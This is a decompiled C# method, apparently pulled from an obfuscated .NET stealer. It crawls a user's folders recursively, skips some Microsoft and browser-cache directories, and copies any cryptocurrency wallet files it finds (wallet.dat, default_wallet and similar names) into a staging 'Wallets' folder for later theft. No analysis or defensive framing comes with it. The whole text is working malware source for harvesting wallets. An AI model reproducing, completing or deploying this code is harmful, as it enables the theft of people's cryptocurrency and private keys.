// Token: 0x060001E2 RID: 482 RVA: 0x0000EFA4 File Offset: 0x0000D1A4 public static void smethod_5(string string_0) { try { string[] directories = Directory.GetDirectories(string_0); int i = 0; while (i < directories.Length) { string text = directories[i]; try { if (text == Dirs.AppData + "\\Microsoft") { goto IL_1F8; } if (text == Dirs.LocalAppData + "\\Application Data") { goto IL_1F8; } if (text == Dirs.LocalAppData + "\\History") { goto IL_1F8; } if (text == Dirs.LocalAppData + "\\Microsoft") { goto IL_1F8; } if (text == Dirs.LocalAppData + "\\Temporary Internet Files") { goto IL_1F8; } string[] files = Directory.GetFiles(text); foreach (string text2 in files) { FileInfo fileInfo = new FileInfo(text2); if (fileInfo.Name == "wallet.dat" || fileInfo.Name == "wallet" || fileInfo.Name == "default_wallet.dat" || fileInfo.Name == "default_wallet" || fileInfo.Name.EndsWith("wallet") || fileInfo.Name.EndsWith("bit") || fileInfo.Name.StartsWith("wallet")) { Directory.CreateDirectory(Dirs.WorkDir + "\\Wallets"); try { if (!fileInfo.Name.EndsWith(".log")) { string name = new DirectoryInfo(text).Name; Directory.CreateDirectory(Dirs.WorkDir + "\\Wallets\\" + name); File.Copy(text2, string.Concat(new string[] { Dirs.WorkDir, "\\Wallets\\", name, "\\", fileInfo.Name })); } } catch { } } } } catch { } goto IL_1F2; IL_1F8: i++; continue; IL_1F2: Class22.smethod_5(text); goto IL_1F8; } } catch { } }